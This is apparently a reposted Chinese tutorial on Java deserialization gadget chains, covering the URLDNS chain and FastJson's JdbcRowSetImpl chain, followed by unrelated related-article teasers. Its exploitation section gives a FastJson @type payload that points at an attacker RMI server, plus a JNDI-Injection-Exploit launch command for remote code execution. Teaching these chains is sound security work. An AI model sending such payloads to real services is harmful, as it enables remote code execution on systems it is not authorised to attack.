Web開發-JavaEE應用原生和FastJson反序列化URLDNS鏈JDBC鏈Gadget手搓

知識點:
1、安全開發-JavaEE-原生序列化-URLDNS鏈分析
2、安全開發-JavaEE-FastJson-JdbcRowSetImpl鏈分析

利用鏈也叫"gadget chains",我們通常稱為gadget:
1、共同條件:實現Serializable或者Externalizable接口,最好是jdk自帶或者JAVA常用組件里有
2、入口類source:(重寫readObject 調用常見函數 參數類型寬泛 最好jdk自帶)
3、調用鏈gadget chain:相同方法名、相同類型
4、執行類sink:RCE SSRF 寫文件等等

在這里插入圖片描述
在這里插入圖片描述

一、演示案例-WEB開發-JavaEE-原生反序列化&URLDNS鏈(JDK自帶鏈)

利用鏈跟蹤

java.util.HashMap實現了Serializable接口滿足條件后,通過HashMap里面的hash到key.hashCode(),key的轉變URL類,再到hashCode為-1觸發URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)        
HashMap->hash
key.hashCode->
URL.hashCode->              
handler.hashCode->
URLStreamHandler.getHostAddress

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

寫利用鏈

參考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g

搞清楚入口類,需要修改的值,需要傳遞的值,
創建一個HashMap泛型,(后續操作URL類即int類型值)
在創建一個url連接,(將要請求的地址寫入對應代碼的U)
用put方法把url數據存放到里面,觸發putVal(hash(key)
其中hash里面會調用key.hashCode()
最終觸發點是key,所以我們就需要給key的類型設置成URL類,
通過邏輯讓hashCode的值為-1后調用handler.hashCode即URLStreamHandler.hashCode,最終調用里面的getHostAddress實現

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

二、演示案例-WEB開發-JavaEE-FastJson反序列化&JDBC鏈(JDK自帶鏈)

在這里插入圖片描述
參考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是啊里巴巴的的開源庫,用于對JSON格式的數據進行解析和打包。其實簡單的來說就是處理json格式的數據的。例如將json轉換成一個類。或者是將一個類轉換成一段json數據。Fastjson 是一個 Java 庫,提供了Java 對象與 JSON 相互轉換。

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

1、序列化方法

JSON.toJSONString(),對象轉換為JSON字符串;
JSON.toJSONBytes(),對象轉換為byte數組;

2、反序列化方法

JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
將JSON對象轉換為java對象:JSON.toJavaObject();
將JSON對象寫入write流:JSON.writeJSONString()

3、常用

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

在這里插入圖片描述
在這里插入圖片描述

4、引出安全-序列化固定類后,反序列化不指定類后

在這里插入圖片描述

parse方法在調用時會調用set方法

在這里插入圖片描述

parseObject在調用時會調用set和get方法

在這里插入圖片描述

5、引出安全-序列化固定類后,反序列化指定類后

parseObject在調用時會調用set方法

在這里插入圖片描述

6、安全利用鏈

JDK自帶鏈-JdbcRowSetImpl:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +"\"autoCommit\":true" +"}";
JSON.parse(payload);反序列化對象:com.sun.rowset.JdbcRowSetImpl
改動的成員變量:dataSourceName autoCommitsetdataSourceName->getdataSourceName
setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());RMI注入:觸發RCE
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
生成RMI惡意調用類:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/77161.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/77161.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/77161.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

OpenCV操作函數

1、cv2.imread&#xff08;&#xff09; 2、 cv2.imshow&#xff08;&#xff09; 3、 cv2.waitKey&#xff08;&#xff09; 4、cv2.imwrite&#xff08;&#xff09; 5、cv2.selectROI&#xff08;&#xff09; 6、 cv2.VideoCapture() 7、cv2.cvtColor&#xff08;&#xff…

AI編程新紀元:GitHub Copilot、CodeGeeX與VS2022的聯合開發實踐

引言:AI編程時代的到來 在軟件開發領域,我們正站在一個歷史性的轉折點上。GitHub Copilot、CodeGeeX等AI編程助手的出現,結合Visual Studio 2022的強大功能,正在重塑代碼編寫的本質。這不僅是工具層面的革新,更是開發范式的根本轉變。能夠有效利用這些AI工具的開發者將跨…

[特殊字符] MySQL MCP 開發實戰:打造智能數據庫操作助手

&#x1f4a1; 簡介&#xff1a;本文詳細介紹如何利用MCP&#xff08;Model-Control-Panel&#xff09;框架開發MySQL數據庫操作工具&#xff0c;使AI助手能夠直接執行數據庫操作。 &#x1f4da; 目錄 引言MCP框架簡介項目架構設計開發環境搭建核心代碼實現錯誤處理策略運行和…

Dify部署過程中的錯誤和解決方案匯總

本文僅限于記錄Dify部署及使用過程中的BUG和解決方案 1. Dify配置SearXNG時報錯&#xff1a; 報錯內容&#xff1a; PluginInvokeError: {"args":{},"error_type":"ToolProviderCredentialValidationError","message":"Error 4…

C#中async await異步關鍵字用法和異步的底層原理

目錄 C#異步編程一、異步編程基礎二、異步方法的工作原理三、代碼示例四、編譯后的底層實現五、總結 C#異步編程 一、異步編程基礎 異步編程是啥玩意兒 就是讓程序在干等著某些耗時操作&#xff08;比如等網絡響應、讀寫文件啥的&#xff09;的時候&#xff0c;能把線程騰出來…

安全教育知識競賽答題小程序怎么做

以下是制作安全教育知識競賽答題小程序的一般步驟&#xff1a; 一、準備階段 注冊小程序賬號&#xff1a;前往微信公眾平臺&#xff0c;注冊一個小程序賬號&#xff0c;主體類型可根據實際情況選擇個人或企業等&#xff0c;注冊成功后登錄獲取appid。 下載安裝開發工具&#x…

記錄待辦事項的便簽軟件有沒有推薦的?

在快節奏的現代生活中&#xff0c;我們每天都要處理大量的工作任務和生活瑣事&#xff0c;稍有不慎就可能遺漏重要事項。你是否經常遇到這樣的情況&#xff1a;明明記得有件事要做&#xff0c;卻怎么也想不起來是什么&#xff1b;或者手頭同時有好幾項任務&#xff0c;卻不知道…

實驗四 中斷實驗

一、實驗目的 掌握中斷服務程序的編寫。 二、實驗電路 三、實驗內容 1&#xff0e;實驗用PC機內部的中斷控制器8259A&#xff0c;中斷源用TPC-ZK實驗箱上的單脈沖電路&#xff0c;將單脈沖電路的輸出接中斷請求信號IRQ&#xff0c;每按一次單脈沖按鍵產生一次…

React 項目src文件結構

SCSS 組件庫 SCSS為預處理器 支持除原生CSS外的其他語句 別名路徑 在項目下的第一級目錄就加入craco.config.js文件并且修改packpage.js 中的部分 // 擴展webpage的配置const path require(path)module.exports {// exports配置webpack:{// 配置別名alias:{:path.resolve(__d…

Cursor入門教程-JetBrains過度向

Cursor使用筆記 **前置&#xff1a;**之前博主使用的是JetBrains的IDE&#xff0c;VSCode使用比較少&#xff0c;所以會盡量朝著JetBrains的使用習慣及樣式去調整。 一、設置語言為中文 如果剛上手Cursor&#xff0c;那么肯定對Cursor中的眾多選項配置項不熟悉&#xff0c;這…

Linux上位機開發實踐(SoC和MCU的差異)

【 聲明&#xff1a;版權所有&#xff0c;歡迎轉載&#xff0c;請勿用于商業用途。 聯系信箱&#xff1a;feixiaoxing 163.com】 soc一般是指跑linux的芯片&#xff0c;而mcu默認是跑rtos的芯片&#xff0c;兩者在基本原理方面其實差異不大。只不過&#xff0c;前者由于性能的原…

離線導出和安裝Python庫

詳細介紹&#xff1a;離線導出和安裝Python庫 常用命令&#xff1a; 生成requirement.txt文件 pip freeze > requirement.txt離線批量下載庫 pip download -d packages -r requirement.txt離線批量安裝庫 pip install --no-index --find-links./ -r requirement.txt

基于Vue Node.js的電影售票網站的設計與實現(源碼+lw+部署文檔+講解),源碼可白嫖!

摘要 互聯網技術的成熟和普及&#xff0c;勢必會給人們的生活方式帶來不同程度的改變。越來越多的經營模式中都少不了線上運營&#xff0c;互聯網正強力推動著社會和經濟發展。國人對民族文化的自信和不同文化的包容&#xff0c;再加上電影行業的發展&#xff0c;如此繁榮吸引…

利用 Python 和 AI 技術創作獨特的圖像藝術作品

1. 項目目標 生成藝術作品&#xff1a;利用 AI 模型&#xff08;如 Stable Diffusion&#xff09;生成具有藝術風格的圖像。自定義風格&#xff1a;通過文本提示&#xff08;prompt&#xff09;控制圖像的藝術風格&#xff08;如賽博朋克、印象派、超現實主義等&#xff09;。…

XR技術賦能藝術展演|我的宇宙推動東方美學體驗化

本次廣州展覽現場引入我的宇宙XR體驗模塊&#xff0c;通過空間計算與動作捕捉技術&#xff0c;讓觀眾在潮玩藝術氛圍中體驗虛擬互動&#xff0c;打造“看得懂也玩得動”的展演新場景。 作為科技與文化融合的推動者&#xff0c;我的宇宙正在以“體驗科技”為媒介&#xff0c;為潮…

接口的集成測試步驟

一、集成測試是什么 ?接口的集成測試?是指在軟件開發過程中&#xff0c;將各個模塊或組件按照設計要求組合在一起&#xff0c;并測試它們之間的接口是否能夠正確交互和協同工作的過程。集成測試是軟件開發中的一個重要階段&#xff0c;通常在單元測試之后進行&#xff0c;目的…

上門服務 APP 30 億營收商業模式在烏干達的技術賦能與實踐

不久前&#xff0c;非洲烏干達出現黑人女技師提供上門足療服務的消息引發關注。據了解&#xff0c;當地一次40分鐘的上門按摩服務僅需約40元人民幣&#xff0c;價格僅為國內同類服務的十分之一。這一現象折射出全球健康服務行業正在經歷的數字化轉型浪潮。 國內領先的上門服務平…

go語言學習筆記:gin + gorm + mysql 用戶增刪改查案例入門

大家好&#xff0c;我是此林。 Golang 語言現在已經成為了編程的趨勢&#xff0c;畢竟是大廠背書嘛&#xff0c;Google 研發的。 目前很多云原生項目都是基于 go 來編寫的&#xff0c;比如&#xff1a; Kubernetes (K8s)? 容器編排系統&#xff0c; Docker? 容器化技術&…

探索亮數據Web Unlocker API:讓谷歌學術網頁科研數據 “觸手可及”

本文目錄 一、引言二、Web Unlocker API 功能亮點三、Web Unlocker API 實戰1.配置網頁解鎖器2.定位相關數據3.編寫代碼 四、Web Scraper API技術亮點 五、SERP API技術亮點 六、總結 一、引言 網頁數據宛如一座蘊藏著無限價值的寶庫&#xff0c;無論是企業洞察市場動態、制定…

SpringBoot整合POI實現Excel文件的導出與導入

使用 Apache POI 操作 Excel文件,系列文章: 《SpringBoot整合POI實現Excel文件的導出與導入》 《SpringMVC實現文件的上傳與下載》 《C#使用NPOI導出Excel文件》 《NPOI使用手冊》 1、Apache POI 的介紹 Apache POI 是一個基于 Java 的開源庫,專為讀寫 Microsoft Office 格…